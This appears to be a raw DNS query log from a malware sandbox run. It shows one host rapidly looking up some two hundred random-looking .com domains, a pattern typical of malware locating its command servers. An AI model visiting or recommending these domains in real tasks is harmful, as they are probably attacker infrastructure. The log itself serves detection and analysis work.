                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.615987062 CET192.168.2.41.1.1.10xce37Standard query (0)ganyvoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.616054058 CET192.168.2.41.1.1.10x97aStandard query (0)volypum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.616180897 CET192.168.2.41.1.1.10xbd9dStandard query (0)gadykos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.616286039 CET192.168.2.41.1.1.10xd91bStandard query (0)pumybal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.616713047 CET192.168.2.41.1.1.10xb96aStandard query (0)vopyjuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.616924047 CET192.168.2.41.1.1.10xc3d9Standard query (0)qekytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.617093086 CET192.168.2.41.1.1.10x47ecStandard query (0)lysyjid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.617460966 CET192.168.2.41.1.1.10xf2fdStandard query (0)qegylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.617672920 CET192.168.2.41.1.1.10x2007Standard query (0)lymyner.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.617774963 CET192.168.2.41.1.1.10xda94Standard query (0)qexysig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.617902994 CET192.168.2.41.1.1.10x7feaStandard query (0)vonybat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.639373064 CET192.168.2.41.1.1.10x239dStandard query (0)qedykiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.871562004 CET192.168.2.41.1.1.10x1e74Standard query (0)qekyrov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.878622055 CET192.168.2.41.1.1.10x2d90Standard query (0)vopygat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.898601055 CET192.168.2.41.1.1.10x105fStandard query (0)lygyjuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.899471998 CET192.168.2.41.1.1.10x3407Standard query (0)vowybof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.900369883 CET192.168.2.41.1.1.10x1644Standard query (0)ganycuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.922492981 CET192.168.2.41.1.1.10xc92fStandard query (0)qexytep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.937321901 CET192.168.2.41.1.1.10xefa1Standard query (0)pufyjuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.939080954 CET192.168.2.41.1.1.10xc888Standard query (0)gaqyvob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.939496994 CET192.168.2.41.1.1.10x4486Standard query (0)lyxytex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.941382885 CET192.168.2.41.1.1.10xb2d9Standard query (0)vofyjuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.942655087 CET192.168.2.41.1.1.10xf20cStandard query (0)qeqyvig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.947341919 CET192.168.2.41.1.1.10xc502Standard query (0)puzytap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.948183060 CET192.168.2.41.1.1.10xea49Standard query (0)gadyhyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.949148893 CET192.168.2.41.1.1.10x8267Standard query (0)lymyvin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.950104952 CET192.168.2.41.1.1.10x6789Standard query (0)volyrac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.950913906 CET192.168.2.41.1.1.10x1d2bStandard query (0)qedyhyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.951972008 CET192.168.2.41.1.1.10xf3eStandard query (0)pumycug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.953560114 CET192.168.2.41.1.1.10x71dcStandard query (0)pupygel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.979011059 CET192.168.2.41.1.1.10xb015Standard query (0)qetynev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.985995054 CET192.168.2.41.1.1.10x161aStandard query (0)puzyxyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.988873959 CET192.168.2.41.1.1.10xf86bStandard query (0)qegyrol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.019937992 CET192.168.2.41.1.1.10xf59eStandard query (0)vocycuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.021495104 CET192.168.2.41.1.1.10x56c7Standard query (0)lyrygyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.021900892 CET192.168.2.41.1.1.10x2647Standard query (0)lymyfoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.022402048 CET192.168.2.41.1.1.10x9f09Standard query (0)gadyquz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.022794962 CET192.168.2.41.1.1.10x38c2Standard query (0)gahyraw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.023017883 CET192.168.2.41.1.1.10xea93Standard query (0)qebyxyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.023217916 CET192.168.2.41.1.1.10xf74bStandard query (0)vocypyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.023366928 CET192.168.2.41.1.1.10xe94fStandard query (0)qegykiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.264317036 CET192.168.2.41.1.1.10x8065Standard query (0)lygywor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.264513016 CET192.168.2.41.1.1.10xaba2Standard query (0)vowygem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.266748905 CET192.168.2.41.1.1.10x1047Standard query (0)qexyxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.266937971 CET192.168.2.41.1.1.10x29aaStandard query (0)pufywil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.267102957 CET192.168.2.41.1.1.10xfbdbStandard query (0)purybav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.267266989 CET192.168.2.41.1.1.10xeccaStandard query (0)gacypyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.278743029 CET192.168.2.41.1.1.10xdc29Standard query (0)vofyqit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279001951 CET192.168.2.41.1.1.10xbf8bStandard query (0)qeqyfaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279020071 CET192.168.2.41.1.1.10xe947Standard query (0)purygeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279216051 CET192.168.2.41.1.1.10xb50aStandard query (0)gatynes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279227018 CET192.168.2.41.1.1.10xcd23Standard query (0)gacycus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279401064 CET192.168.2.41.1.1.10xf82bStandard query (0)lyrynad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279550076 CET192.168.2.41.1.1.10x8274Standard query (0)volyzef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279568911 CET192.168.2.41.1.1.10x4e14Standard query (0)pupymyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279750109 CET192.168.2.41.1.1.10xae90Standard query (0)lyvysur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279769897 CET192.168.2.41.1.1.10x433fStandard query (0)galyros.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279952049 CET192.168.2.41.1.1.10x9363Standard query (0)lysyger.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.279968977 CET192.168.2.41.1.1.10x9484Standard query (0)pujylog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.280134916 CET192.168.2.41.1.1.10x984cStandard query (0)qebysul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.280294895 CET192.168.2.41.1.1.10x2f6eStandard query (0)vopymyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.280347109 CET192.168.2.41.1.1.10x7122Standard query (0)gahykih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.280488014 CET192.168.2.41.1.1.10xfa69Standard query (0)gaqyfah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.280544996 CET192.168.2.41.1.1.10x2c35Standard query (0)lyxyxyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.281945944 CET192.168.2.41.1.1.10x1bc4Standard query (0)lykylan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.282164097 CET192.168.2.41.1.1.10x1b25Standard query (0)ganydiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.282808065 CET192.168.2.41.1.1.10xf153Standard query (0)qekylag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.286725044 CET192.168.2.41.1.1.10x8e00Standard query (0)puvypul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.312138081 CET192.168.2.41.1.1.10xda3dStandard query (0)vonycum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.313122034 CET192.168.2.41.1.1.10x8dd9Standard query (0)vonydik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.313344955 CET192.168.2.41.1.1.10x51c1Standard query (0)lysymux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.315984011 CET192.168.2.41.1.1.10x674fStandard query (0)galyzeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.317087889 CET192.168.2.41.1.1.10x3b95Standard query (0)pumydoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.318028927 CET192.168.2.41.1.1.10x92b7Standard query (0)qedyqup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.328571081 CET192.168.2.41.1.1.10xbf14Standard query (0)lykywid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:40.363080025 CET192.168.2.41.1.1.10x4f2eStandard query (0)vojykom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.156902075 CET192.168.2.41.1.1.10xd304Standard query (0)lysyfin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.164387941 CET192.168.2.41.1.1.10x86b6Standard query (0)vofygaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.169373989 CET192.168.2.41.1.1.10x5b63Standard query (0)qeqyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.174804926 CET192.168.2.41.1.1.10x3cbeStandard query (0)gadyfob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.182087898 CET192.168.2.41.1.1.10xc9beStandard query (0)puzywuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.183367968 CET192.168.2.41.1.1.10x90dStandard query (0)lymyxex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.195334911 CET192.168.2.41.1.1.10xc62bStandard query (0)vonyzac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.208772898 CET192.168.2.41.1.1.10x8a4fStandard query (0)vowycut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.241118908 CET192.168.2.41.1.1.10x9a8dStandard query (0)volykit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.262377024 CET192.168.2.41.1.1.10xfd7bStandard query (0)pupyboq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.270091057 CET192.168.2.41.1.1.10x6fa1Standard query (0)gaqydus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.270365000 CET192.168.2.41.1.1.10xd7cdStandard query (0)pumypyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.270440102 CET192.168.2.41.1.1.10x56bStandard query (0)vofymem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.270944118 CET192.168.2.41.1.1.10xca8cStandard query (0)vojyjyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.271058083 CET192.168.2.41.1.1.10x9aadStandard query (0)ganypeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.271150112 CET192.168.2.41.1.1.10xc50bStandard query (0)purycul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.271297932 CET192.168.2.41.1.1.10x9c5cStandard query (0)vowydic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.282289028 CET192.168.2.41.1.1.10xe68bStandard query (0)gacyzaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.282618046 CET192.168.2.41.1.1.10x510aStandard query (0)qegyqug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.282845974 CET192.168.2.41.1.1.10xbbaeStandard query (0)vojyquf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283098936 CET192.168.2.41.1.1.10xbc93Standard query (0)gahyqub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283262014 CET192.168.2.41.1.1.10xd491Standard query (0)qedynaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283348083 CET192.168.2.41.1.1.10xa91fStandard query (0)lyvyxyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283559084 CET192.168.2.41.1.1.10xd7d1Standard query (0)qeqysuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283684015 CET192.168.2.41.1.1.10x38fStandard query (0)pumyxep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283735991 CET192.168.2.41.1.1.10x696aStandard query (0)gadyneh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.283866882 CET192.168.2.41.1.1.10x356Standard query (0)qetyvil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.284013987 CET192.168.2.41.1.1.10xac91Standard query (0)lyxywij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.284195900 CET192.168.2.41.1.1.10xab66Standard query (0)qexylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.284229994 CET192.168.2.41.1.1.10xd833Standard query (0)puzylol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.284504890 CET192.168.2.41.1.1.10x6066Standard query (0)gahyhys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.284712076 CET192.168.2.41.1.1.10x69bfStandard query (0)lyvytan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.287650108 CET192.168.2.41.1.1.10x57e9Standard query (0)qekykup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.291646004 CET192.168.2.41.1.1.10x3394Standard query (0)lygyged.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292016029 CET192.168.2.41.1.1.10xa897Standard query (0)pujywiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292016029 CET192.168.2.41.1.1.10x67deStandard query (0)pujyjup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292031050 CET192.168.2.41.1.1.10x9bbbStandard query (0)qetyfop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292198896 CET192.168.2.41.1.1.10xec23Standard query (0)gatyfaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.292794943 CET192.168.2.41.1.1.10x25e5Standard query (0)lyxylor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.294214010 CET192.168.2.41.1.1.10x8089Standard query (0)vonypyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.308799028 CET192.168.2.41.1.1.10xe315Standard query (0)lyryfox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.310389996 CET192.168.2.41.1.1.10x1544Standard query (0)puvyxeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.310633898 CET192.168.2.41.1.1.10x16dbStandard query (0)vocyzek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.310705900 CET192.168.2.41.1.1.10x8555Standard query (0)purydip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.310888052 CET192.168.2.41.1.1.10x15cStandard query (0)pufymyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311034918 CET192.168.2.41.1.1.10x7371Standard query (0)lygymyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311130047 CET192.168.2.41.1.1.10x3035Standard query (0)qegyhev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311213017 CET192.168.2.41.1.1.10xd126Standard query (0)vocyrom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311389923 CET192.168.2.41.1.1.10x8478Standard query (0)galyquw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311595917 CET192.168.2.41.1.1.10xc015Standard query (0)lykyjux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311696053 CET192.168.2.41.1.1.10xd46eStandard query (0)gaqycyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311850071 CET192.168.2.41.1.1.10x3933Standard query (0)pufygav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.311975002 CET192.168.2.41.1.1.10xd6f6Standard query (0)vopybok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.312040091 CET192.168.2.41.1.1.10x44d4Standard query (0)qexyriq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.312242031 CET192.168.2.41.1.1.10xcca7Standard query (0)lymysud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.312242031 CET192.168.2.41.1.1.10x6a46Standard query (0)galykiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.315571070 CET192.168.2.41.1.1.10x68e1Standard query (0)volyquk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.318366051 CET192.168.2.41.1.1.10xc126Standard query (0)lysynaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.320785046 CET192.168.2.41.1.1.10xdbb8Standard query (0)qedyfog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.321649075 CET192.168.2.41.1.1.10x4bbdStandard query (0)lyryvur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.321827888 CET192.168.2.41.1.1.10x73dStandard query (0)gacyroh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.321954012 CET192.168.2.41.1.1.10x8a41Standard query (0)gatyviw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.322065115 CET192.168.2.41.1.1.10x8e2fStandard query (0)qebyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.323441982 CET192.168.2.41.1.1.10x3734Standard query (0)puvytag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.549866915 CET192.168.2.41.1.1.10x7231Standard query (0)qekyqyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.550194025 CET192.168.2.41.1.1.10xc155Standard query (0)qetysuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.552886963 CET192.168.2.41.1.1.10x11aaStandard query (0)gaqyzoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.554377079 CET192.168.2.41.1.1.10xdceaStandard query (0)pufydul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.558711052 CET192.168.2.41.1.1.10x19f3Standard query (0)lyxymed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.559983015 CET192.168.2.41.1.1.10xdde7Standard query (0)qexyqyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.563137054 CET192.168.2.41.1.1.10xf2bStandard query (0)gadyduz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.564997911 CET192.168.2.41.1.1.10x9652Standard query (0)qeqyloq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.571779966 CET192.168.2.41.1.1.10xdd93Standard query (0)vowyzam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.572058916 CET192.168.2.41.1.1.10xa410Standard query (0)vofydut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.572488070 CET192.168.2.41.1.1.10x11feStandard query (0)qetyxeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.572943926 CET192.168.2.41.1.1.10xb1a6Standard query (0)puryxag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.573720932 CET192.168.2.41.1.1.10x6f45Standard query (0)gacyqys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.574444056 CET192.168.2.41.1.1.10xdf52Standard query (0)lygyfir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.574589968 CET192.168.2.41.1.1.10xcaceStandard query (0)vocyquc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.576100111 CET192.168.2.41.1.1.10xa7fcStandard query (0)lymylij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.576700926 CET192.168.2.41.1.1.10x8a5Standard query (0)gatycyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.593745947 CET192.168.2.41.1.1.10xff66Standard query (0)pupycuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.594125986 CET192.168.2.41.1.1.10x5a74Standard query (0)qegyfil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.594538927 CET192.168.2.41.1.1.10x91f4Standard query (0)puzymev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.594605923 CET192.168.2.41.1.1.10xfd74Standard query (0)pufybop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.594800949 CET192.168.2.41.1.1.10xe676Standard query (0)lykygaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.601193905 CET192.168.2.41.1.1.10x2a28Standard query (0)gahyfow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.625739098 CET192.168.2.41.1.1.10x5b1bStandard query (0)qebyrip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.637603998 CET192.168.2.41.1.1.10x1e97Standard query (0)gatyduh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.637797117 CET192.168.2.41.1.1.10xc848Standard query (0)gadyvis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.638303995 CET192.168.2.41.1.1.10x91a1Standard query (0)lygynox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.638535023 CET192.168.2.41.1.1.10x4961Standard query (0)gacykub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.639219046 CET192.168.2.41.1.1.10x531fStandard query (0)qegynap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.639383078 CET192.168.2.41.1.1.10xa2eStandard query (0)gahynaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.651036978 CET192.168.2.41.1.1.10x255eStandard query (0)qebylov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.651185989 CET192.168.2.41.1.1.10xf6eStandard query (0)qeqytal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.651484013 CET192.168.2.41.1.1.10xc6c1Standard query (0)gaqypew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.652555943 CET192.168.2.41.1.1.10xd105Standard query (0)puvyliv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.652618885 CET192.168.2.41.1.1.10x85dStandard query (0)puvywup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.652899981 CET192.168.2.41.1.1.10xdf2fStandard query (0)volyjym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.653050900 CET192.168.2.41.1.1.10x22f8Standard query (0)galyheh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.653268099 CET192.168.2.41.1.1.10x2948Standard query (0)pujymel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.653425932 CET192.168.2.41.1.1.10x6511Standard query (0)lyvylod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.657892942 CET192.168.2.41.1.1.10x661dStandard query (0)vonyrot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658014059 CET192.168.2.41.1.1.10xde14Standard query (0)lymytar.comA (IP address)IN (0x0001)false
